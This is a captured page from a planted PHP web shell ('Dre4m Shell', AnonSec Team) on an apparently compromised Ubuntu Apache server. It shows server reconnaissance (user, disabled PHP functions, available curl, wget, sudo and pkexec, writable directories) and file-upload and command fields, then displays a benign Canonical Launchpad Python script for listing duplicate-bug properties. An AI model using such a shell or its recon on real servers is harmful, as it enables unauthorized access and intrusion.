Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.16.10.2
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/bin//lp-bug-dupe-properties
#! /usr/bin/python
#
# Copyright (C) 2012, Canonical Ltd.
# Written by Brian Murray
#
# ##################################################################
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; version 3.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# See file /usr/share/common-licenses/GPL-3 for more details.
#
# ##################################################################

from lptools import config
from datetime import datetime

import argparse
import sys

release_tags = []

def check_duplicate(bug, prop, key):
    if prop == 'reporter':
        return bug.owner.name
    if prop == 'month':
        return datetime.strftime(bug.date_created, '%Y-%m')
    if prop == 'day':
        return datetime.strftime(bug.date_created, '%Y-%m-%d')
    if prop == 'tags':
        return ' '.join(bug.tags)
    if prop == 'rtags':
        rtags = set(release_tags).intersection(bug.tags)
        return ' '.join(list(rtags))
    if prop == 'desc':
        APPORT_TAGS = ['apport-crash', 'apport-bug', 'apport-kerneloops', 'apport-package']
        if not set(APPORT_TAGS).intersection(bug.tags):
            return
        description = bug.description
        if key not in description:
            return
        for line in description.splitlines():
            if not line.startswith(key):
                continue
            if key == line.split(': ')[0]:
                value = line.split(': ')[-1]
                return value


def main():
    parser = argparse.ArgumentParser(prog='lp-bug-dupe-properties')
    group = parser.add_mutually_exclusive_group()
    group.add_argument('-r', '--reporter', default=False,
        action='store_true', help='Display reporter of duplicates')
    group.add_argument('-m', '--month', default=False,
        action='store_true', help='Display month duplicates were reported')
    group.add_argument('-d', '--day', default=False,
        action='store_true', help='Display day duplicates were reported')
    group.add_argument('-t', '--tags', default=False,
        action='store_true', help='Display tags of duplicates')
    group.add_argument('-rt', '--rtags', default=False,
        action='store_true', help='Display Ubuntu release tags of duplicates')
    group.add_argument('-D', '--desc', default=False, type=str,
        help='Search apport bug description for this key e.g. Package')
    parser.add_argument('-b', '--bug', type=int,
        help='Bug number of which to check the duplicates')

    opts = parser.parse_args()
    launchpad = config.get_launchpad("bug-dupe-properties")

    bug_number = opts.bug
    bug = launchpad.bugs[bug_number]

    dupe_props = {}

    if opts.reporter:
        search = 'reporter'
    if opts.month:
        search = 'month'
    if opts.day:
        search = 'day'
    if opts.tags:
        search = 'tags'
    if opts.rtags:
        search = 'rtags'
        ubuntu = launchpad.distributions['ubuntu']
        for series in ubuntu.series:
            release_tags.append(series.name)
    if opts.desc:
        search = 'desc'
        key = opts.desc
    else:
        key = None

    if bug.number_of_duplicates == 0:
        print('LP: #%s has no duplicates!' % bug_number)
        sys.exit(1)

    for dupe in bug.duplicates:
        dupe_num = dupe.id
        prop = check_duplicate(dupe, search, key)
        if prop in dupe_props.keys():
            dupe_props[prop].append(str(dupe_num))
        else:
            dupe_props[prop] = [str(dupe_num)]

    dupe_count = bug.number_of_duplicates
    if dupe_count > 1:
        print('LP: #%s has %s duplicates' % (bug_number, dupe_count))
    elif dupe_count == 1:
        print('LP: #%s has %s duplicate' % (bug_number, dupe_count))

    for prop, bugs in sorted(dupe_props.items()):
        print('  %s: %s' % (prop, ' '.join(bugs)))


if __name__ == '__main__':
    main()

Anon7 - 2022
AnonSec Team